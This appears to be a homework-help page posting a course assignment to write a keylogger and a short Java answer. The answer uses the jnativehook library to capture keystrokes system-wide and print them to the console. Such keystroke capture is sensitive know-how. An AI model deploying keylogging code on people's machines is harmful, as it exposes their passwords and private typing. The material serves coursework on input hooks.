Write a software keylogger and test it while you fill out a web form or type in
ID: 3587316 • Letter: W
Question
Write a software keylogger and test it while you fill out a web form or type in the contents of a document using your favorite document preparation software. You can use Java or Python to do this assignment.
Hints: You can find a demo and API for key-logger hook in the following link for JAVA. https://github.com/kwhat/jnativehook This project can only be used to learn how to use JNI library and how to use APIs in the project. DO NO directly copy code from this project.
Please write comments (includes meaning and function of current line) for each line of the code
Explanation / Answer
import org.jnativehook.GlobalScreen; import org.jnativehook.NativeHookException; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; public class jNativeHook implements NativeKeyListener { /* Key Pressed */ public void nativeKeyPressed(NativeKeyEvent e) { System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode())); /* Terminate program when one press ESCAPE */ if (e.getKeyCode() == NativeKeyEvent.VK_ESCAPE) { GlobalScreen.unregisterNativeHook(); } } /* Key Released */ public void nativeKeyReleased(NativeKeyEvent e) { System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode())); } /* I can't find any output from this call */ public void nativeKeyTyped(NativeKeyEvent e) { System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode())); } public static void main(String[] args) { try { /* Register jNativeHook */ GlobalScreen.registerNativeHook(); } catch (NativeHookException ex) { /* Its error */ System.err.println("There was a problem registering the native hook."); System.err.println(ex.getMessage()); System.exit(1); } /* Construct the example object and initialze native hook. */ GlobalScreen.getInstance().addNativeKeyListener(new jNativeHook()); } }
Related Questions
drjack9650@gmail.com
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.